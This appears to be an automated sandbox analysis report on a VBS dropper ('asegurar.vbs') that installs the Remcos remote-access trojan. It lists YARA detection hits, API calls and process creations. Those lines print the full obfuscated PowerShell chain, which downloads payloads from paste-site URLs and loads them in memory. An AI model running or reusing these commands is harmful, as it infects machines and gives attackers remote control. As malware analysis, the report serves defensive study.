Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, au.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.260254f0000.0.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.260254f0000.0.raw.unpack, au.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.2603d9b0000.5.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.2603d9b0000.5.raw.unpack, au.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.2602596b090.1.raw.unpack, au.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.26025b147d0.2.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.powershell.exe.26025b147d0.2.raw.unpack, au.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winVBS@14/10@5/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

8_2_0041798D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

8_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

8_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

8_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-T0UVJ0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3120:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mipky4am.ds4.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\asegurar.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: asegurar.vbs

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\asegurar.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
